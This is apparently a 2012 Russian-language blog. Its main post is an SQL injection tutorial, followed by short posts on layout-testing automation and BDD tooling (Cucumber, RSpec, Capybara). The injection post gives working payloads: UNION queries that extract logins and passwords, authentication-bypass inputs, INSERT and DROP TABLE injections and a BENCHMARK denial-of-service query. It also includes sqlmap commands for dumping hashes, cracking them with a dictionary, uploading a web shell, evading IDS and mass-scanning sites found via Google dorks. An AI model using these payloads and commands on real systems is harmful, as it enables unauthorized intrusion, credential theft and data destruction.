четверг, 25 октября 2012 г.

Sql -инъекции


SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода  (например, $query="SELECT * FROM users WHERE id=".$_REQUEST["id"]). В случае успеха атакующий может изменить логику выполнения SQL-запроса так, как это ему нужно. Чаще всего он выполняет простой fingerprinting СУБД, а также извлекает таблицы с наиболее "интересными" именами (например "users"). После этого, в зависимости от привилегий, с которыми запущено уязвимое приложение, он может обратиться к защищенным частям бэк-энда веб-приложения (например, прочитать файлы на стороне хоста или выполнить произвольные команды).

Есть пять основных классов SQL-инъекций:
  1. UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с "UNION ALL SECECT". Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
  2. Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то "рядом" вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
  3. Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
  4. Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в "чистом" виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения "true"-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
  5. Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер "играет" с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Рекомендую прочитать мануал Дмитрия Евтеева "SQL Injection: От А до Я". Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются.

КАК НАЙТИ SQL INJECTION

Адресная строка

Допишем в адресной строке кавычку в переменную "id", вот так 
http://xxx/news.php?id=1' 
http://xxx/news.php?id=1"
http://xxx/news.php?id=1 order by 1000 
http://xxx/news.php?id=1'/* 
http://xxx/news.php?id=1'# 
http://xxx/news.php?id=1 AND 1=1
http://xxx/news.php?id=1 AND 1=2
http://xxx/news.php?id=1' AND '1'='1
Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' 
Если этого сообщения нет то есть три варианта:

1. Кавычка фильтруется
2. Отключен отчет об ошибках
3. Здесь нет иньекции

Чтобы определить то, что кавычка фильтруется, можно вписать
http://xxx/news.php?id=1 blablabla
БД не поймет что это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla
Если отчет об ошибках выключен тогда проверяем вот так 
http://xxx/news.php?id=1 -- 
Должно отобразиться точно также как и http://xxx/news.php?id=1

ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ

Узнаем структуру БД

Модифицируем обращение к скрипту 
http://xxx/news.php?id=1' UNION SELECT 1 -- 
Запрос к БД у нас получается вот таким: 
SELECT * FROM news WHERE id='1' UNION SELECT 1 --  
Количество столбцов до UNION и после должны соответствовать, и вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns
Нам нужно подобрать количество столбцов (что бы их количество до UNION и после соответствовало). Делаем методом подбора:
http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
Если отобразилось точно также как и http://xxx/news.php?id=1
значит количество полей подобрано, то есть их 6 штук.

Чтобы ускорить метод подбора можно использовать запросы Group by
http://xxx/news.php?id=1' GROUP BY 2 --
Будет отображен без ошибок если количество полей меньше или равно 2.

Тот же самый принцип используется в функции ORDER BY. И немного меняется текст ошибки если полей больше.

Далее нам нужно узнать имя таблицы – можно включить перебор
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- 
до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist
Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 –

что это значит? Это значит то, что существует таблица Users и нужно приступить к перебору столбцов.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --
Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'
Там где пропадает сообщение об ошибке значит такой столбец существует.

И вот таким образом мы узнали что в таблице Users есть столбцы login, password.

Для этих же целей можно использовать ряд инструментов. Я попробовала SQLMAP.


Используем полученные знания

Обращение к скрипту таким образом 
http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 – 
Выводит нам логин и пароль первого юзера из таблицы Users.

В окне ввода чего-нибудь куда-нибудь вводим запросы


Name вводим = admin’ –
Пароль вводим = password 
Получаем запрос
 SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'
Name вводим = admin
Пароль вводим = password' OR login='Admin' –
Получаем запрос
 SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
Name вводим = admin
Pass=% (сработает если запрос написан с использованием оператора LIKE)

Зная структуру БД

Name вводим = ‘; INSERT INTO user (user, password) VALUES (‘admin’, ‘pass’) –

Name вводим = ‘; DROP TABLE user –


DOS атака на SQL сервер

Функция BENCHMARK выполняет одно и тоже действие несколько раз.

SELECT BENCHMARK(100000,md5(current_time))

А если попробовать вложенный BENCHMARK?

SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

Выполняется очень долго
http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --

SQLmap

Sqlmap - open-source утилита для поиска и эксплуатации SQL инъекций. Поддерживает такие сервера БД, как: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase, SAP MaxDB.

Sqlmap написан на python, а значит превосходно работает на большинстве современных операционных систем. (Предварительно убедитесь у вас установлен питон >2.6 <3.0)

Типичное использование сводится к строчке:
python sqlmap.py -u "http://example.com/index.php?action=news&id=1" 
Детально изучить утилиту поможет официальное пользовательское руководство.


Основные возможности:

  1. Поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
  2. Поддержка следующих типов инъекций: boolean-based blind, time-based blind, error-based, UNION query и stacked queries. (Подробнее)
  3. Возможность подключиться к БД напрямую, используя логин, пароль, ip, порт и имя базы.
  4. Работа с конкретным url, со списком целей из Burp proxy или WebScarab proxy, с текстовым файлом, содержащим HTTP запрос или же прямо из поисковой системы Google.
  5. Тестирование всех параметров, передаваемых методами GET и POST, через cookie, в заголовках User-agent и Referer и попытка их эксплуатирования. Так же вы можете задать какой-то один определенный параметр(ы) для проверки.
  6. Опциональная многопоточность, которая позволяет сильно ускорить проведение слепых инъекций, или же наоборот, ограничить количество запросов на определенный промежуток времени. Множество вариантов оптимизации для ускорения.
  7. Возможность передавать cookie, что позволяет проходить авторизацию на тестируемом приложении или же тестировать cookie на sql уязвимости.
  8. Принимать и хранить в сессии cookie, которые были установлены самим приложением, а так же пытаться их эксплуатировать. При желании можно игнорировать заголовок set-cookie.
  9. Аунтефикация по протоколу HTTP basic, Digest, NTLM или с помощью сертификата.
  10. Работа через прокси.
  11. Возможность задать произвольные заголовки User-agent и Referer, или же выбрать User-agent случайно из текстового файла.
  12. Возможность изменять уровень информативности выходных сообщений (всего 7 уровней).
  13. Парсинг форм, находящихся по целевому адресу, с целью повторной отправки запроса на принимающий скрипт формы (action) и тестирование параметров формы.
  14. Гибкость в настройки и использовании.
  15. Расчетное время для каждого запроса, который обновляется в реальном времени и позволяет пентестеру знать, сколько времени потребуется для получения ответа.
  16. Автоматически сохраняет сессии (запросы и ответы, даже частично полученные) в текстовом виде и в реальном времени. Это позволяет продолжить инъекцию или другое действие сразу же, после парсинга сессии и не повторять запросы на атакуемое приложение.
  17. Возможность читать все параметры из текстового файла, а не вводить их в ручную каждый раз.
  18. Поддержка репликации БД сервера на локальную БД sqlite3.
  19. Обновление до актуальной версии из репозитория.
  20. Парсинг ответов с целью найти и показать сообщения об ошибках БД.
  21. Интеграция с другими инструментами для пентеста — Metasploit и w3af.

Возможности fingerprint (получения полезной информации о приложении и сервере):

  1. Определение версии и наименования БД, а также операционной системы, на которой запущено приложение. Анализ основывается на сообщениях об ошибках, баннере сервиса, и способом сравнения. Вы можете задать имя используемой БД в ручную, если вы его знаете.
  2. Программное обеспечение веб сервера и приложения.
  3. Возможность получить баннер, получить информацию о текущей БД и ее пользователе, а также о привилегиях текущего пользователя.
  4. Список пользователей БД, их привилегии, хэши паролей.
  5. Автоматическое распознавание формата хэшей паролей и возможность прогнать их по словарю, который прилагается вместе с sqlmap.
  6. Брут имен таблиц и столбцов. Это бывает полезным, когда у текущего пользователя нет доступа к системным таблицам или таких таблиц вообще нет.
  7. Возможность сделать дамп таблиц целиком, определенных колонок. Возможно сделать дамп только определенный диапазон символов для каждого столбца.
  8. Дамп всех БД целиком, с возможностью задать исключение.
  9. Поиск конкретных таблиц или колонок во всех таблицах и баз данных. Это полезно для поиска таблиц с пользователями или паролями.
  10. Возможность вызвать интерактивный sql клиент, который позволит вам выполнять произвольные запросы к БД вручную. Sqlmap сам побеспокоится о том, чтобы упаковать ваш запрос и выполнить его через найденную уязвимость.

Возможности расширения контроля над системой:

  1. Возможность скачивать файлы с сервера, при условии, что в качестве бэкенда используется MySQL, PostgeSQL или Microsoft SQL Server. Разумеется, для этих операций пользователь БД должен иметь особые привилегии и права на запись/чтение нужного файла.
  2. Выполнение произвольных команд на системе с получением их вывода, при условии, что используются MySQL, PostgeSQL или Microsoft SQL Server.
  3. Создание tcp подключения к серверу с помощью интерактивной командной строки или VNC.
  4. Доступ к реестру windows (Чтение, вставка, удаление).


Несколько практических примеров

В самом простом варианте sqlmap можно запустить так:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17
Этого будет достаточно для того, чтобы sqlmap начал свою тяжелую работу. Как можно легко догадаться, ключ -u задает адрес нашей цели. Сканер произведет запрос по заданному урл и будет анализировать все параметры, которые
мы указали в ссылке (id=17). Но давайте добавим немного полезных фич:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b659bbf7751c41" --auth-type Basic --auth-cred "user:password" --threads 3 --os="Linux"
Рассмотрим все параметры, используемые в этом запросе:
--data=«p1=17&p2=0» — мы отправили еще два параметра методом POST. Теперь sqlmap протестирует и их тоже.
--random-agent — Вместо дефолтного юзерагента будет случайным образом выбран правдоподобный. Список юзерагентов лежит в файле txt/user-agents.txt. Это очень полезно, когда надо обойти простенькую IDS или же при работе через гугл, который будет банить нас, если заметит дефолтный юзерагент sqlmap.
--cookie=«PHPSESSID=6993b496e105a565b2b659bbf7751c41» — передаем нашу php сессию, которая хранится в файлах cookie.
--auth-type Basic — указываем, что на сервере потребуется Basic аунтефикация.
--auth-cred «user:password» — и передаем данные для авторизации: логин и пароль.
--threads 3 — выполнять 3 запроса параллельно.
--os=«Linux» — Когда мы точно знаем, какая ОС используется на сервере, ее лучше указать, чтобы облегчить работу sqlmap. Но вы должны быть уверены на 100%, иначе sqlmap пойдет по ложному следу.


Теперь посмотрим на работу нашего сканера. Вывод обрезан, оставлена лишь самая интересная часть, при этом дополнено комментариями (/**/).:
[*] starting at: 04:04:35
[04:04:35] [INFO] using
'/home/lirvux/work/hack/sqlmap/output/www.sitefortest.kz/session' as session file
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter 'id' you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
/*Sqlmap сообщает, что ссылка не является стабильной и предупреждает нас о том,
* что для сравнения результатов запросов ему возможно потребуется задать строку
* (s) или регулярное выражение ®, по которому он сможет ориентироваться. Но
* можно попытаться и без этого, выбрав продолжить ©*/
[04:06:22] [INFO] heuristic test shows that GET parameter 'id' might be
injectable (possible DBMS: MySQL)
/*sqlmap предположил, что в качестве бекенда используется MySQL*/
[04:06:22] [INFO] testing sql injection on GET parameter 'id'
[04:06:22] [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'
[04:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based — WHERE or HAVING
clause'
[04:06:28] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based — WHERE or HAVING clause' injectable 
[04:06:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:06:35] [INFO] testing 'MySQL UNION query (NULL) — 1 to 10 columns'
[04:06:39] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[y/N] N
/*Проведя некоторые тесты нам удалось узнать, что параметр id уязвим. Мы
* можем продолжить анализировать другие параметры (y) или же начать
* эксплуатировать найденную уязвимость (N)*/
sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),(SELECT (CASE WHEN (4188=4188) THEN 1 ELSE 0 END)),CHAR(58,108,116,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/*Выше мы видим запрос, который сформировал sqlmap, а ниже видим информацию о
* БД и сервере, которую sqlmap смог получить для нас*/
[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under '/home/lirvux/work/hack/sqlmap/output/sitefortest.kz'
[*] shutting down at: 04:06:53<

Теперь давайте получим больше информации о системе и узнаем, какими же правами мы обладаем:
python sqlmap -u http://sitefortest.kz/index.php?id=17 --current-user --current-db -b --users --privileges --passwords
Так как мы уже нашли инъекцию, мы можем не указывать лишние параметры для их поиска, но такие, как юзерагент или данные для авторизации необходимо указывать при каждом запросе (ну или писать их в конфигурационном файле sqlmap.conf). Я же их опустил для простоты.

--current-user — текущий пользователь, который работает с БД .
--current-db — текущая база данных.
-b — запрос на баннер.
--users — список всех пользователей БД (при условии, что у нас есть права на его чтение)
--priviliges — привилегии пользователей БД
--password — хэши паролей пользователей БД

Вот такой ответ даст нам sqlmap:
[*] starting at: 04:37:39
— — [04:37:42] [INFO] fetching banner
banner: '5.1.49-1ubuntu8'
[04:37:42] [INFO] fetching current user
current user: 'root@localhost'
[04:37:42] [INFO] fetching current database
current database: 'online_test_ped'
[04:37:42] [INFO] fetching database users
database management system users [5]:
[*] 'debian-sys-maint'@'localhost', 
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'sitefortest'
[*] 'test'@'localhost'
/*Мы получили информацию о текущей БД и пользователе, а также узнали всех
* доступных пользователей*/
[04:37:42] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
/*sqlmap обнаружил хэши и предлагает нам устроить перебор по словарю (y). Мы
* конечно же соглашаемся*/
[04:37:57] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/home/lirvux/work/hack/sqlmap/txt/wordlist.txt]
[04:37:58] [INFO] loading dictionary from: '/home/lirvux/work/hack/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[04:38:08] [INFO] starting dictionary attack (mysql_passwd)
[04:39:50] [WARNING] no clear password(s) found
/*Sqlmap определил, что пароли зашифрованы методом mysql_passwd и предложил
* выбрать словарь для перебора. Мы выбрали дефолтный, но, к сожалению, ничего не
* подобрали*/
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *991A58143C8199F3CB137310E29F3AAB57203690
[*] root [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[*] test [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[04:39:50] [INFO] fetching database users privileges
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
— — privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
/*И наконец мы получили список привелегий всех пользователей. Я его обрезал, так
* как он слишком длинный*/

Теперь попробуем просмотреть содержимое какой-нибудь БД. Для этого пригодятся следующие параметры:

--dbs — Покажет список всех БД.
--tables — Список всех таблиц во всех БД.
-D NAME_DB --tables — отобразит список таблиц внутри базы данных NAME_DB.
-D NAME_DB -T NAME_TABLE --columns — покажет нам список колонок таблицы NAME_TABLE из БДNAME_DB.
--dump — Сделать дамп содержимого указанной таблицы или БД.
--dump-all — Сделает дамп всех БД и их таблиц. Может занять очень много времени.
--exclude-sysdbs — Указывает не выполнять дамп системных таблиц (information_schema и т.п.).
--start=LIMITSTART и --stop=LIMITSOP действуют аналогично LIMIT LIMITSTART,LIMITSTOP в mysql. Они позволяют сделать дамп не всей таблицы, а определенной части. Правда здесь отсчет начинается не с 0, а с 1.
python sqlmap http://sitefortest.kz/index.php?id=17 --dump -D site -T users --start=5 --stop=10
Таким образом, в файле output/sutefortest.kz/dump/site.users будет находиться дамп таблицы пользователей, начиная с 5 строчки и заканчивая 10. Ну и конечно же, дамп будет выведен в терминал. Если в каком-либо поле встретится хэш, то sqlmap, как обычно, предложит нам провести атаку по словарю.

Повышение контроля

Параметры, которые позволят нам скачивать и заливать файлы:

--file-read="/FULL/PATH/FILE" — если у вас хватит привелегий, а пользователю, от которого запущен демон БД разрешено чтение этого файла, то вы сможете найти выкачанный файл здесь —output/sitefortest.kz/files/_FULL_PATH_FILE.
--file-write="/LOCAL/PATH/MYFILE" --file-dist="/REMOTE/PATH/SHELL" — При наличии соответствующих прав, файл /LOCAL/PATH/MYFILE (который находится на нашем компьютере) будет залит в удаленный каталог сервера /REMOTE/PATH/ и будет называться SHELL.
Если нашей целью является залить простенький веб шел, то нам даже не надо указывать файлы, а достаточно указать параметр --os-shell, который все сделает за нас.

Массовые инъекции через гугл (Google Dork)

Sqlmap позволяет нам тестировать сайты, прямо из поисковой выдачи гугла.
Например, вот так:
python sqlmap -g "inurl:?lesson=1" --beep --page-rank --gpage=10 --random-agent
-g «inurl:?lesson=1» — Задает поисковой запрос для гугла, по которому мы будем искать сайты с потенциальными уязвимостями.
--beep — заставит sqlmap уведомлять нас с помощью спикера о каждой найденной уязвимости.
--page-rank — Выведет Page Rank страницы, которую мы тестируем. Это может пригодиться для не очень хороших делишек.
--gpage=10 — указываем с какой страницы поисковой выдачи брать сайты. По умолчанию парсится 1 страница.
--random-agent — в данном случае является обязательным параметром, так как без него гугл не пустит нас к поиску, поняв, что его производит не человек, а sqlmap.

Еще несколько сценариев описаны в журнале Хакер

понедельник, 8 октября 2012 г.

Автоматизация тестирования верстки сайта

"Автоматизация тестирования верстки сайта экономически не выгодно. Так что если нужно проверить верстку, то быстрее и проще это сделать ручками." Михаил Поляруш
Приемлиемое решение
Можно запилить скрипт который просто будет бегать по сайту, при помощи стороннего инструменты делать скриншоты от прогонов в разных браузерах, а потом глазками  их смотреть. 
Из подходящих инструментов  cloud testing

СТ предлагает кроссбраузерное тестирование функциональности. Вы записываете путь пользователя (use case) в браузере с использованием Selenium IDE, загружаете записанный скрипт в инструмент и Cloud Testing запустит скрипт в различных  браузерах. После этого Вам будут предоставлены скриншоты, результаты диагностики компонентов сайта и HTML отчет.

Берём Cloud testing, 1 раз в 1м браузере при помощи Selenium записываем сценарий по всем страничкам, после этого прогоняется через CT во всех браузерах, дальше просто смотрим скриншоты.

90% что к следующему циклу тестирования что-то поменятеся, и надо будет записывать скрипт прохождения страничек заново, но всё равно это выгоднее чем вручную

Вариант автоматического сравнивания скринов страниц - это 100% нерабочее решение. Сравнение попиксельное, где 1 пиксель чуть более бледный - бессмысленно, все нормальные сайты имеют небольшие отличия интерфейсов в разных браузерах, и это зачастую вообще невозможно решить. А если динамическая страница, там же и контент может меняться

В общем надо быстро проглядывать глазками скриншоты на предмет "ничего сильно не сломалось"

пятница, 5 октября 2012 г.

BDD

BDD (Bihavior-Driven Development) — разработка с опережающим описанием поведения программы. Другими словами сначала мы описываем в спецификации то, как должна себя вести программа, а затем пишем саму программу. 


На cucumber мы пишет наши тесты простым языком, а сами шаги реализуем с испльзованием Capybara. А Capybara уже взаимодействует с webdriver'ом

Gem файлы:
cucumber
capybara 
capybara-mechanize
selenium-webdriver 
Браузер + селениум IDE + firebug


Структура:

current\
    features\
            user.feature
        step_definitions\
            user_steps.rb
        support\
            env.rb

в папке «features» находятся наши «фичи» написанные по правилам Cucumber. В папке «step_definitions» шаги для реализации задуманного функционала. В папке «support» какие-нибудь конфигурационные файлы, библиотеки. А так же файл env.rb — к которому обращается Cucmber сразу после запуска (где происходит инициализация драйвера; первоначальная настройка).

Cucumber

Итак,  Cucumber. Он позволяет описать поведение системы с позиции внешнего наблюдателя ( «заказчика, конечного пользователя»). При этом описание дается на естественно языке, никаких вам begin end. Каждый вариант использования системы в огурце называется «фичей» (feature). Все они лежат в одноименной папочке features с  расширением файла *.feature
В каждом файле описывается один или несколько «сценариев» (scenario), характеризующих фичу. Сценарии состоят из ряда шагов, объявленных в файлах из папки features/step_definitions/*_steps.rb

Шаги бывают трех типов:
Given (что-то данное, некоторое предварительное условие), 
When (что-то, что происходит, какие-то действия пользователя) 
Then (результат, реакция, отклик)
Одна из  фич :

Feature: A user sees who is online
In order know that the portal is alive
As a regular user
I want to see who is online 

Background:
Given the section "Personal profiles" exists 

Scenario Outline: See a special label next to the name of a user who is online
Given nobody has been on the portal for a lot time
And a user exists with name: "<name>"
When the user "<name>" <user action> the portal
And I go to the profile of the user "<name>"
Then I should <my action> the online label for the user "<name>"
When I go to the section "Personal profiles"
Then I should <my action> the online label for the user "<name>" 

Examples:
| name | user action | my action |
| Victoria | visits | see |
| Michael | does not visit | not see |


Ключевое слово "Feature" предшествует имени фичи, по правилам должно кратко и ясно описывать действия пользователя. Три строчки под ним говорят, для чего, кто и что хочет. Раздел "Background" по желанию, задает общие шаги для всех сценариев фичи. Далее идут либо "Scenario", либо "Scenario Outline". Первое описывает сценарий без параметров, второе — с параметрами, идущими после ключевого слова "Examples" снизу. Через собачку (@) расставляются метки, позволяющие наложить дополнительные условия на всю фичу или конкретный сценарий, а так же выборочно выполнить тест. В принципе все читабельно. В идеале должно быть так, чтобы заказчик взял этот файл, открыл простым текстовым редактором и не напрягаясь прочел, все понял, осознал и подтвердил: «Оно!»
Что касается настройки огурца, то она проводится в сгенерированном файле features/support/env.rb. Там добавляются необходимые строчки кода для подключения всего, что необходимо для тестирования.

Устанавливаем Gem

После того как установлены Ruby and RubyGems,  Cucumber устанавливается следующей командой:
gem install cucumber
Начнем знакомство при помощи команды --help
cucumber --help

Запускаем 

cucumber features/user.feature

RSpec

RSpec тоже используется для описания внешнего поведения системы, однако больше подходит для копания в ее внутренностях. Каждый файл у RSpec в простонародье называется «спекой» (spec, от specification), находится в папке spec и заканчивается на*_spec.rb. Принято файлы в папке spec разбивать по вложенным папкам, чтобы они отражали структуру рельсового проекта (modelscontrollershelpers, etc.). Вот пример:
describe User do
  it { should ensure_length_of(:email).is_at_least(6).is_at_most(100) }
  it { should validate_format_of(:email).with('ma1f0rmed emai1 address') }

  subject { Factory :user }
  it { should validate_uniqueness_of :email }
  it { should validate_uniqueness_of :address }
end

Конфигурация RSpec сконцентрирована в файле spec/spec_helper.rb. Аналогично env.rb у Cucumber сюда идут все вспомогательные require и прочее.

Подробненькая статья про мачеры

Устанавливаем Gem

Устанавливается следующей командой:
gem install rspec
Начнем знакомство при помощи команды --help
rspec --help

Запускаем 

rspec feature/step_defenitions/user_steps.rb

Capybara

Capybara — это удобная штука для автоматизации «браузерного» тестирования приложения. Джем дает множество вспомогательных методов в тестовое окружение, в результате чего с легкостью можно проверить такие вещи как, например, переход по ссылкам, заполнение форм (поля ввода, выпадающие списки, чекбоксы и так далее), наличие какого-либо элемента на странице. Более того, при подключении к нему Selenium, позволяет проходить шаги тестового сценария прямо в браузере. У вас откроется браузер и странички будут бегать одна за другой. В случае Cucumber для этого достаточно открыть файл env.rb и добавить следующий код с указанием нужного браузера (список доступных смотрим в документации по Selenium):

Capybara.register_driver :selenium do |app|
  Capybara::Driver::Selenium.new app, :browser => :chrome
end

Factory Girl Rails

Эту библиотеку используют для удобного создания экземпляров моделей. Другими словами, нужно же на примере чего-то тестировать. Нам нужны и пользователи (User) какие-нибудь, и статьи (Article), и проекты (Project) с задачами (Task). Не создавать же каждый раз объекты с заполнением всех обязательных полей. Вот тут-то на помощь и приходят подобные фабрики. Достаточно один раз определить шаблон и далее генерировать новые сущности на его основе. В связке с RSpec фабрики обычно хранятся в папке spec/factories или напрямую в spec/factories.rb. Например, вот такая:
Factory.define :user do |factory|
  factory.sequence(:email) { |i| "user#{ i }@example.org" }
  factory.password 'password'
  factory.password_confirmation { |user| user.password }
  factory.confirmed_at Time.now
end
Все, теперь в тестах достаточно Factory(:user) и у нас валидный юзер.